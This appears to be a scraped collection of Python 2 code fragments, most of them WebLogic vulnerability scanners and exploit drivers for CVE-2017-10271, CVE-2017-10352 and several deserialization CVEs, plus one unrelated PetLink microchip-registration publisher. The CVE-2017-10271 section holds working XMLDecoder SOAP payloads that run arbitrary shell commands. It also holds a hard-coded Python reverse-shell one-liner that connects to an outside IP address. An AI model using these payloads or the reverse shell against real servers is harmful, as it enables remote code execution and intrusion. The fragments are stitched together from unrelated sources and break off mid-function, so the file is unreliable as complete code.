            final_results_10271 = [
                x or y for x, y in zip(results1_10271, results2_10271)
            ]
            json_data_10271 = utils.assembly_data(
                "030103", dict(zip(urllist, final_results_10271)))

            # if 'http://www.gzzwjw.gov.cn' in dict(zip(urllist, final_results_10271)):
            # print dict(zip(urllist, final_results_10271))['http://www.gzzwjw.gov.cn']

            final_results_10352 = [
                x or y for x, y in zip(results1_10352, results2_10352)
            ]
            json_data_10352 = utils.assembly_data(
                "030111", dict(zip(urllist, final_results_10352)))

            # print json_data_10271
            # print json_data_10352
            print utils.post_data(
                json_data_10271,
                "https://172.17.1.2:8080/RDP/safeTeamUtil/safeTeamUtil!recordVulnerability.do"
            )
            print utils.post_data(
                json_data_10352,
                "https://172.17.1.2:8080/RDP/safeTeamUtil/safeTeamUtil!recordVulnerability.do"
            )

    elif tgtHost and tgtPort and not batch and not time_base and not command and not create_file:
        url1 = "http://" + tgtHost + ":" + str(
            tgtPort) + '/wls-wsat/CoordinatorPortType'
        url2 = "http://" + tgtHost + ":" + str(
            tgtPort) + '/wls-wsat/CoordinatorPortType11'

        cve_2017_10271(url1)
        cve_2017_10271(url2)
        cve_2017_10352(url1)
        cve_2017_10352(url2)
    elif tgtHost and tgtPort and time_base and not batch and not command and not create_file:
        cve_2017_10271_time_based((tgtHost, tgtPort))

    elif tgtHost and tgtPort and not time_base and not batch and not command and create_file:
        url1 = "http://" + tgtHost + ":" + str(
            tgtPort) + '/wls-wsat/CoordinatorPortType'
        url2 = "http://" + tgtHost + ":" + str(
            tgtPort) + '/wls-wsat/CoordinatorPortType11'
        send_payload(url1, payload_create_file_10271, sig_10271,
                     "cve_2017_10271")
        send_payload(url2, payload_create_file_10271, sig_10271,
                     "cve_2017_10271")

    elif tgtHost and tgtPort and not time_base and not batch and command and os:
        payload_linux_10271 = '''
	<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/">
  <soapenv:Header>
	<work:WorkContext xmlns:work="http://bea.com/2004/06/soap/workarea/">
		<java version="1.8.0_131" class="java.beans.XMLDecoder">
		  <void class="java.lang.ProcessBuilder">
			<array class="java.lang.String" length="3">
			  <void index="0">
				<string>/bin/bash</string>
			  </void>
			  <void index="1">
				<string>-c</string>
			  </void>
			  <void index="2">
				<string>{}</string>
			  </void>
			</array>
		  <void method="start"/>
		  </void>
		</java>
	  </work:WorkContext>
	</soapenv:Header>
  <soapenv:Body/>
</soapenv:Envelope>
'''
        payload_windows_10271 = '''
<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/">
  <soapenv:Header>
	<work:WorkContext xmlns:work="http://bea.com/2004/06/soap/workarea/">
		<java version="1.8.0_131" class="java.beans.XMLDecoder">
		  <void class="java.lang.ProcessBuilder">
			<array class="java.lang.String" length="3">
			  <void index="0">
				<string>C:\Windows\System32\cmd.exe</string>
			  </void>
			  <void index="1">
				<string>/c</string>
			  </void>
			  <void index="2">
				<string>{}</string>
			  </void>
			</array>
		  <void method="start"/></void>
		</java>
	  </work:WorkContext>
	</soapenv:Header>
  <soapenv:Body/>
</soapenv:Envelope>
'''
        url1 = "http://" + tgtHost + ":" + str(
            tgtPort) + '/wls-wsat/CoordinatorPortType'
        url2 = "http://" + tgtHost + ":" + str(
            tgtPort) + '/wls-wsat/CoordinatorPortType11'
        if os == 'linux':
            if command == 'shell':
                command = '''
				python -c 'import  socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("144.202.87.92",80));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/bash","-i"]);'
				'''
        # print payload_linux_10271

            print payload_linux_10271.format(command)
            send_payload(url1, payload_linux_10271.format(command), sig_10271,
                         "cve_2017_10271")
            send_payload(url2, payload_linux_10271.format(command), sig_10271,
                         "cve_2017_10271")
        elif os == 'win':
            print payload_windows_10271.format(command)
            send_payload(url1, payload_windows_10271.format(command),
                         sig_10271, "cve_2017_10271")
            send_payload(url2, payload_windows_10271.format(command),
                         sig_10271, "cve_2017_10271")
    elif not tgtHost and not tgtPort and filepath and not command and not batch and not time_base:
        with open(filepath, 'r') as f:
            u_list = f.readlines()
        for i in u_list:
            url = "http://" + i.strip() + '/wls-wsat/CoordinatorPortType'
            # send_payload(url,payload_linux_10271, sig_10271, "cve_2017_10271")
            cve_2017_10271(url)
            cve_2017_10352(url)
    else:
        parser.print_help()
        exit(0)
Example #38
0
        urllist = utils.get_url_list(
            "http://192.168.17.89:8080/RDP/safeTeamUtil/safeTeamUtil!getAllUrls.do"
        )
        if urllist:
            logging.info("obtaining urllist successfully")
            # 030102
            pool = ThreadPool(10)
            results_ssrf = pool.map(detect_ssrf, urllist)
            results_xss = pool.map(detect_uddi_xss, urllist)
            pool.close()
            pool.join()

            json_ssrf = utils.assembly_data("030102",
                                            dict(zip(urllist, results_ssrf)))
            print "ssrf vulnerable hosts has", len(
                filter(lambda x: x == 1, results_ssrf))
            print utils.post_data(
                json_ssrf,
                "http://192.168.17.89:8080/RDP/safeTeamUtil/safeTeamUtil!recordVulnerability.do"
            )

            json_xss = utils.assembly_data("030112",
                                           dict(zip(urllist, results_xss)))
            print "xss vulnerable hosts has", len(
                filter(lambda x: x == 1, results_xss))
            print utils.post_data(
                json_xss,
                "http://192.168.17.89:8080/RDP/safeTeamUtil/safeTeamUtil!recordVulnerability.do"
            )
    else:
        parser.print_help()
Example #39
0
    if target and not batch:
        check(target)
    elif batch and not target:
        urllist = utils.get_url_list(
            "http://192.168.17.89:8080/RDP/safeTeamUtil/safeTeamUtil!getAllUrls.do"
        )
        if urllist:

            pool = ThreadPool(20)
            results = pool.map(check, urllist)
            # print dict(zip(urllist,results))
            json_data = utils.assembly_data("060102",
                                            dict(zip(urllist, results)))
            r = utils.post_data(
                json_data,
                "http://192.168.17.89:8080/RDP/safeTeamUtil/safeTeamUtil!recordVulnerability.do"
            )
            print "Uploading data to remote server, please wait..."
            # time.sleep(2)
            if r:
                print '[+]', r
            else:
                print "[-]Uploading data failed"

    else:
        parser.print_help()

## References

# https://blogs.technet.microsoft.com/msrc/2017/04/14/protecting-customers-and-evaluating-risk/
# https://www.rapid7.com/db/modules/auxiliary/scanner/smb/smb_ms17_010
Example #40
0
    def run(self):

        self.log("PetLinkPublisher starting...")

        if self.isPublisherExecuting(): return
        self.updatePublisherProgress(0)
        self.setLastError("")
        self.setStartPublishing()

        plemail = configuration.petlink_email(self.dbo)
        plowneremail = configuration.petlink_owner_email(self.dbo)
        password = configuration.petlink_password(self.dbo)

        if plemail == "" or password == "":
            self.setLastError("No PetLink login has been set.")
            return

        animals = get_microchip_data(self.dbo, [
            '98102',
        ],
                                     "petlink",
                                     organisation_email=plowneremail)
        if len(animals) == 0:
            self.setLastError("No animals found to publish.")
            return

        anCount = 0
        csv = []
        processed_animals = []
        failed_animals = []

        csv.append("Software,TransactionType,MicrochipID,FirstName,LastName,Address,City,State,ZipCode,Country," \
            "Phone1,Phone2,Phone3,Email,Password,Date_of_Implant,PetName,Species,Breed,Gender," \
            "Spayed_Neutered,ColorMarkings")

        for an in animals:
            try:
                line = []
                anCount += 1
                self.log("Processing: %s: %s (%d of %d) - %s %s" % \
                    ( an["SHELTERCODE"], an["ANIMALNAME"], anCount, len(animals), an["IDENTICHIPNUMBER"], an["CURRENTOWNERNAME"] ))
                self.updatePublisherProgress(
                    self.getProgress(anCount, len(animals)))

                # If the user cancelled, stop now
                if self.shouldStopPublishing():
                    self.log("User cancelled publish. Stopping.")
                    self.resetPublisherProgress()
                    return

                # If the microchip number isn't 15 digits, skip it
                if len(an["IDENTICHIPNUMBER"].strip()) != 15:
                    self.logError(
                        "Chip number failed validation (%s not 15 digits), skipping."
                        % an["IDENTICHIPNUMBER"])
                    continue

                # Validate certain items aren't blank so we aren't trying to register
                # things that PetLink will bounce back anyway
                if utils.nulltostr(an["CURRENTOWNERTOWN"]).strip() == "":
                    self.logError(
                        "City for the new owner is blank, cannot process")
                    continue

                if utils.nulltostr(an["CURRENTOWNERCOUNTY"]).strip() == "":
                    self.logError(
                        "State for the new owner is blank, cannot process")
                    continue

                if utils.nulltostr(an["CURRENTOWNERPOSTCODE"]).strip() == "":
                    self.logError(
                        "Zipcode for the new owner is blank, cannot process")
                    continue

                # If there's no email or phone, PetLink won't accept it
                email = utils.nulltostr(an["CURRENTOWNEREMAILADDRESS"]).strip()
                homephone = utils.nulltostr(
                    an["CURRENTOWNERHOMETELEPHONE"]).strip()
                workphone = utils.nulltostr(
                    an["CURRENTOWNERWORKTELEPHONE"]).strip()
                mobilephone = utils.nulltostr(
                    an["CURRENTOWNERMOBILETELEPHONE"]).strip()
                if email == "" and homephone == "" and workphone == "" and mobilephone == "":
                    self.logError(
                        "No email address or phone number for owner, skipping."
                    )
                    continue

                # If there's no phone, we can't set the chip password so skip it
                if homephone == "" and workphone == "" and mobilephone == "":
                    self.logError("No phone number for owner, skipping.")
                    continue

                # Get the phone number and strip it of non-numeric data
                phone = homephone or mobilephone or workphone
                phone = "".join(c for c in phone if c.isdigit())

                # If we don't have an email address, use [email protected]
                if email == "":
                    email = "*****@*****.**" % phone

                # Software
                line.append("\"ASM\"")
                # TransactionType
                line.append(
                    "\"%s\"" %
                    (self.getLastPublishedDate(an["ID"]) is None and 'N'
                     or 'T'))
                # MicrochipID
                line.append("\"%s\"" % (an["IDENTICHIPNUMBER"]))
                # FirstName
                line.append("\"%s\"" % (an["CURRENTOWNERFORENAMES"]))
                # LastName
                line.append("\"%s\"" % (an["CURRENTOWNERSURNAME"]))
                # Address
                line.append("\"%s\"" % (an["CURRENTOWNERADDRESS"]))
                # City
                line.append("\"%s\"" % (an["CURRENTOWNERTOWN"]))
                # State
                line.append("\"%s\"" % (an["CURRENTOWNERCOUNTY"]))
                # ZipCode
                line.append("\"%s\"" % (an["CURRENTOWNERPOSTCODE"]))
                # Country
                line.append("\"USA\"")
                # Phone1
                line.append("\"%s\"" % (an["CURRENTOWNERHOMETELEPHONE"]))
                # Phone2
                line.append("\"%s\"" % (an["CURRENTOWNERWORKTELEPHONE"]))
                # Phone3
                line.append("\"%s\"" % (an["CURRENTOWNERMOBILETELEPHONE"]))
                # Email (mandatory)
                line.append("\"%s\"" % (email))
                # Chip Password (stripped phone number)
                line.append("\"%s\"" % phone)
                # Date_of_Implant (yy-mm-dd)
                line.append("\"%s\"" %
                            i18n.format_date("%y-%m-%d", an["IDENTICHIPDATE"]))
                # PetName
                line.append("\"%s\"" % an["ANIMALNAME"])
                # Species
                line.append("\"%s\"" % an["SPECIESNAME"])
                # Breed (or "Mixed Breed" for crossbreeds, Other for animals not cats and dogs)
                line.append("\"%s\"" % self.plBreed(
                    an["BREEDNAME1"], an["SPECIESNAME"], an["CROSSBREED"]))
                # Gender
                line.append("\"%s\"" % an["SEXNAME"])
                # Spayed_Neutered (y or n)
                line.append("\"%s\"" % self.plYesNo(an["NEUTERED"]))
                # ColorMarkings (our BaseColour field)
                line.append("\"%s\"" % an["BASECOLOURNAME"])
                # Add to our data file.
                csv.append(",".join(line))
                # Remember we included this one
                processed_animals.append(an)
                # Mark success in the log
                self.logSuccess("Processed: %s: %s (%d of %d)" %
                                (an["SHELTERCODE"], an["ANIMALNAME"], anCount,
                                 len(animals)))
            except Exception as err:
                self.logError(
                    "Failed processing animal: %s, %s" %
                    (str(an["SHELTERCODE"]), err), sys.exc_info())

        # If we excluded our only animals and have nothing to send, stop now
        if len(csv) == 1:
            self.log("No animals left to send to PetLink.")
            self.saveLog()
            self.setPublisherComplete()
            return

        # POST the csv data
        headers = {
            "Authorization":
            "Basic %s" % base64.b64encode("%s:%s" % (plemail, password)),
            "Content-Type":
            "text/csv"
        }
        self.log("Uploading data file (%d csv lines) to %s..." %
                 (len(csv), UPLOAD_URL))
        try:
            r = utils.post_data(UPLOAD_URL, "\n".join(csv), headers=headers)
            response = r["response"].decode("utf-8").encode(
                "ascii", "xmlcharrefreplace")

            self.log("req hdr: %s, \nreq data: %s" %
                     (r["requestheaders"], r["requestbody"]))
            self.log("resp hdr: %s, \nresp body: %s" %
                     (r["headers"], response))

            jresp = utils.json_parse(response)

            # Look for remote exceptions
            if "exception" in jresp and jresp["exception"] != "":
                self.successes = 0
                self.logError(
                    "PetLink remote exception received, abandoning: %s" %
                    jresp["exception"])
                self.saveLog()
                self.setPublisherComplete()
                return

            # Parse any errors in the JSON response
            for e in jresp["errors"]:
                chip = ""
                message = ""
                try:
                    # Prefer microchip= in location column, then fall back to id=/microchip= in column
                    if e["location"].find("microchip=") != -1:
                        chip = e["location"]
                        chip = chip[chip.find("microchip=") + 10:]
                    elif e["column"].find("id=") != -1:
                        chip = e["column"].replace("id=", "")
                    elif e["column"].find("microchip=") != -1:
                        chip = e["column"].replace("microchip=", "")
                    message = e["message"]
                except Exception as erj:
                    try:
                        self.logError(
                            "Failed unpacking error message (message=%s) from '%s'"
                            % (erj, e))
                    except:
                        self.logError(
                            "Failed decoding error message from PetLink")
                    continue

                # Iterate over a copy of the processed list so we can remove animals from it
                # that have error emssages.
                for an in processed_animals[:]:

                    if an["IDENTICHIPNUMBER"] == chip:
                        processed_animals.remove(an)
                        try:
                            self.logError("%s: %s (%s) - Received error message from PetLink: %s" % \
                                (an["SHELTERCODE"], an["ANIMALNAME"], an["IDENTICHIPNUMBER"], message))
                        except Exception as erm:
                            self.logError("%s: %s (%s) - Error decoding message from PetLink" % \
                                (an["SHELTERCODE"], an["ANIMALNAME"], an["IDENTICHIPNUMBER"]))
                            continue

                        # If the message was that the chip is already registered,
                        # mark this animal as published but on the intake date -
                        # this will force this publisher to put it through as a transfer
                        # next time since we'll find a previous published record.
                        if message.find("has already been registered") != -1:
                            self.markAnimalPublished(an["ID"],
                                                     an["DATEBROUGHTIN"])
                            self.log("%s: %s (%s) - Already registered, marking as PetLink TRANSFER for next publish" % \
                                (an["SHELTERCODE"], an["ANIMALNAME"], an["IDENTICHIPNUMBER"]))
                            continue

                        # If the message is one of PetLink's permanent failure conditons,
                        # mark the chip failed so that we stop trying.
                        # Any other error message we treat as transient and do nothing
                        # (which means we'll attempt to register the chip the next time this publisher is run).
                        PERMANENT_FAILURES = [
                            "has an existing PetLink account and their contact information is already on file",
                            "Not a prepaid microchip",
                            "This is a Found Animals Registry chip",
                            "cannot be transferred - the account is locked.",
                            "Microchip number has already been registered in the database"
                        ]
                        for m in PERMANENT_FAILURES:
                            if message.find(m) != -1:
                                an["FAILMESSAGE"] = message
                                failed_animals.append(an)

            if len(processed_animals) > 0:
                self.markAnimalsPublished(processed_animals)

            if len(failed_animals) > 0:
                self.markAnimalsPublishFailed(failed_animals)

        except Exception as err:
            self.logError("Failed uploading data file: %s" % err)

        self.saveLog()
        self.setPublisherComplete()
Example #41
0
def main():
    parser = optparse.OptionParser()
    parser.add_option('-H',
                      dest='tgtHost',
                      type='string',
                      help='specify target host')
    parser.add_option('-p',
                      dest='tgtPort',
                      type='string',
                      help='specify target port')
    parser.add_option('-b',
                      dest='batch',
                      help='run a batch scan',
                      action="store_true",
                      default=False)
    (options, args) = parser.parse_args()
    tgtHost = options.tgtHost
    tgtPort = options.tgtPort
    batch = options.batch
    if batch and tgtHost == None and tgtPort == None:

        # url = "http://192.168.10.216:7101"
        urllist = utils.get_url_list(
            "https://172.17.1.2:8080/RDP/safeTeamUtil/safeTeamUtil!getAllUrls.do"
        )
        # print urllist
        if urllist:
            pool = ThreadPool(100)
            results_0638 = pool.map(cve_2016_0638, urllist)
            results_3248 = pool.map(cve_2017_3248, urllist)
            results_3510 = pool.map(cve_2016_3510, urllist)
            results_2628 = pool.map(cve_2018_2628, urllist)
            results_2893 = pool.map(cve_2018_2893, urllist)

            pool.close()
            pool.join()

            json_0638 = utils.assembly_data("030108",
                                            dict(zip(urllist, results_0638)))
            json_3248 = utils.assembly_data("030101",
                                            dict(zip(urllist, results_3248)))
            json_3510 = utils.assembly_data("030106",
                                            dict(zip(urllist, results_3510)))
            json_2628 = utils.assembly_data("030113",
                                            dict(zip(urllist, results_2628)))
            json_2893 = utils.assembly_data("030114"), dict(
                zip(urllist, results_2893))

            print utils.post_data(
                json_3510,
                'https://172.17.1.2:8080/RDP/safeTeamUtil/safeTeamUtil!recordVulnerability.do'
            )
            print utils.post_data(
                json_0638,
                'https://172.17.1.2:8080/RDP/safeTeamUtil/safeTeamUtil!recordVulnerability.do'
            )
            print utils.post_data(
                json_3248,
                'https://172.17.1.2:8080/RDP/safeTeamUtil/safeTeamUtil!recordVulnerability.do'
            )
            print utils.post_data(
                json_2628,
                'https://172.17.1.2:8080/RDP/safeTeamUtil/safeTeamUtil!recordVulnerability.do'
            )
            print utils.post_data(
                json_2893,
                'https://172.17.1.2:8080/RDP/safeTeamUtil/safeTeamUtil!recordVulnerability.do'
            )
            #print json_2628

        # cve_2017_3248(url)
        # cve_2016_3510(url)
        # cve_2016_0638(url)
    elif tgtHost and tgtPort and not batch:
        url = 'http://' + tgtHost + ":" + tgtPort
        cve_2016_3510(url)
        cve_2016_0638(url)
        cve_2017_3248(url)
        cve_2018_2628(url)
        cve_2018_2893(url)
    else:
        parser.print_help()
        exit(0)